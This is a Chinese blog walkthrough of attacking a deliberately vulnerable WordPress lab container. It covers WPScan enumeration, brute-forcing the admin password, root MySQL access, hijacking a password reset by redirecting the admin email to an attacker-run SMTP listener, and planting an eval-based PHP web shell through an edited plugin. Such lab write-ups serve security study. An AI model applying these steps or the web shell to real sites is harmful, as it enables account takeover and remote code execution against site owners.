近日在朋友圈看某位dalao在Ubuntu上安裝WPScan花了一個小時,於是灑家隨手在Kali Linux上輸入了wpscan,發現Kali里面已經裝好了。於是決定玩兩把WPScan。
WordPress博客平台代碼量多,也曾經爆出過大量漏洞。遇到WordPress先用傻瓜式工具掃描一下是一個不錯的開始。
http://www.cnblogs.com/go2bed/p/6398788.html 原創
安裝靶機
灑家使用了 https://hub.docker.com/r/wpscanteam/vulnerablewordpress/ 官方出品的Docker鏡像 wpscanteam/vulnerablewordpress,pull完畢后運行,轉發80和3306端口。
docker run --name vulnerablewordpress -d -p 80:80 -p 3306:3306 wpscan/vulnerablewordpress
后期又在docker容器里面安裝了vim sendmail 等軟件。
初始設置用戶admin,密碼是某弱口令
初步掃描
首先掃描一波
wpscan --url http://127.0.0.1/
暴露出以下幾個比較嚴重的漏洞:
配置文件備份泄露:
從中可以得到 數據庫信息,以及其他各種AUTH_KEY SALT 等等
目測由於數據庫賬號wordpress被限制為localhost,無法在服務器外登錄。但是由於開放了3306端口,可以用root用戶空口令登錄。
root@kali:~# mysql -uwordpress -pwordpress -h127.0.0.1 ERROR 1045 (28000): Access denied for user 'wordpress'@'172.17.0.1' (using password: YES) root@kali:~# mysql -uroot -p -h127.0.0.1 Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 216 Server version: 5.5.54-0ubuntu0.14.04.1 (Ubuntu)
另外還發現一個后門 searchreplacedb2.php:
另外,searchreplacedb2.php會自動讀取wp-config.php,然后返回的表單里面也包含數據庫用戶名和密碼。
其他掃描出來的漏洞 :
[+] XML-RPC Interface available under: http://127.0.0.1/xmlrpc.php 一個XML接口,以前爆出來過可以無限制暴力破解攻擊的問題
[!] Includes directory has directory listing enabled: http://127.0.0.1/wp-includes/ 網站配置為可以列目錄,可能泄露其他信息
[!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS) 有一個example.html 有DOM型XSS漏洞,然而訪問了一下實際並不存在這個文件
等等,本次基本沒有使用。
枚舉WordPress信息
WPScan提供了以下枚舉功能:
-Do wordlist password brute force on enumerated users using 50 threads ... 使用50線程對枚舉出來的用戶的密碼進行字典暴力破解 ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50 -Do wordlist password brute force on the 'admin' username only ... 只對指定admin用戶的密碼進行字典暴力破解 ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin -Enumerate installed plugins ... 枚舉安裝的插件 ruby ./wpscan.rb --url www.example.com --enumerate p -Enumerate installed themes ... 枚舉安裝的主題 ruby ./wpscan.rb --url www.example.com --enumerate t -Enumerate users ... 枚舉用戶 ruby ./wpscan.rb --url www.example.com --enumerate u -Enumerate installed timthumbs ... ruby ./wpscan.rb --url www.example.com --enumerate tt
例如,枚舉用戶可得:
[+] Enumerating usernames ... [+] Identified the following 1 user/s: +----+-------+-------+ | Id | Login | Name | +----+-------+-------+ | 1 | admin | admin | +----+-------+-------+ [!] Default first WordPress username 'admin' is still used
暴力破解拿下管理員賬號
初始設置為管理員賬號是admin,假設密碼是未知弱口令。
可以提供一個字典暴力破解用戶的密碼。
參數: --wordlist | -w <wordlist> Supply a wordlist for the password brute forcer.
sudo wpscan --url http://127.0.0.1/ --wordlist ~/Documents/dict.txt
(省略) [+] Enumerating usernames ... [+] Identified the following 1 user/s: +----+-------+-------+ | Id | Login | Name | +----+-------+-------+ | 1 | admin | admin | +----+-------+-------+ [!] Default first WordPress username 'admin' is still used [+] Starting the password brute forcer [+] [SUCCESS] Login : admin Password : 123456789 Brute Forcing 'admin' Time: 00:00:01 <================================ > (9 / 10) 90.00% ETA: 00:00:00 +----+-------+-------+-----------+ | Id | Login | Name | Password | +----+-------+-------+-----------+ | 1 | admin | admin | 123456789 | +----+-------+-------+-----------+
利用searchreplacedb2.php修改郵箱重置密碼拿下管理員賬號
由前文已知,存在一個遺留后門searchreplacedb2.php,可以利用它修改管理員admin預留的郵箱,點擊忘記密碼發送重置密碼鏈接,然后重置密碼。
在實際滲透過程中完整的郵箱往往不易得到,需要經過社工等手段猜測。因此灑家沒有替換整體郵箱,而是猜測郵箱的域名,替換為自己的服務器域名,然后監聽25端口即可接收任意發往自己的服務器的郵件。
服務器上監聽25端口:
sudo python -m smtpd -n -c DebuggingServer 0.0.0.0:25
數據庫的wp_users表的結構為:
MySQL [wordpress]> describe wp_users; +---------------------+---------------------+------+-----+---------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +---------------------+---------------------+------+-----+---------------------+----------------+ | ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment | | user_login | varchar(60) | NO | MUL | | | | user_pass | varchar(64) | NO | | | | | user_nicename | varchar(50) | NO | MUL | | | | user_email | varchar(100) | NO | | | | | user_url | varchar(100) | NO | | | | | user_registered | datetime | NO | | 0000-00-00 00:00:00 | | | user_activation_key | varchar(60) | NO | | | | | user_status | int(11) | NO | | 0 | | | display_name | varchar(250) | NO | | | | +---------------------+---------------------+------+-----+---------------------+----------------+ 10 rows in set (0.00 sec)
假設郵箱是QQ郵箱,替換wp_users表:
然后點擊密碼重置鏈接,輸入admin賬號,
順利收到重置密碼的郵件。郵件正文用base64編碼,解碼后可以得到重置鏈接,從而重置密碼。
放置WebShell
這個網站文件整個是 www-data 所屬,有寫權限。
根據網上流傳的文章 http://xcha3389.blog.sohu.com/169600289.html WordPress后台拿WebShell的方法:
1.本機建立目錄“chaochao”,把一句話1.php放進去。打包wawa目錄為zip文件。WP后台的主題管理,上傳主題,安裝。
則你的后門路徑為:wp-content\themes\chaochao\1.php2.能編輯模板就能拿到shell
首先edit 模板 接着找php的文件,接着備份下他的內容,然后替換成一句話木馬,接着訪問那個頁面的地址
/wp-content/themes/default/404.php
編輯這個網站的Hello Dolly插件,增加代碼:
<?php if(isset($_GET['cmd'])){ eval($_GET['cmd']); exit(); } ?>
文件位置在 http://127.0.0.1/wp-content/plugins/hello.php?cmd=phpinfo();
研究了兩下WordPress的Plugin,發現Hello Dolly插件足夠簡單,里面只有一個readme.txt 和 hello.php,可以直接用來修改作為惡意插件上傳。
上傳成功,webshell在 http://127.0.0.1/wp-content/plugins/hello-shell/shell.php?cmd=phpinfo();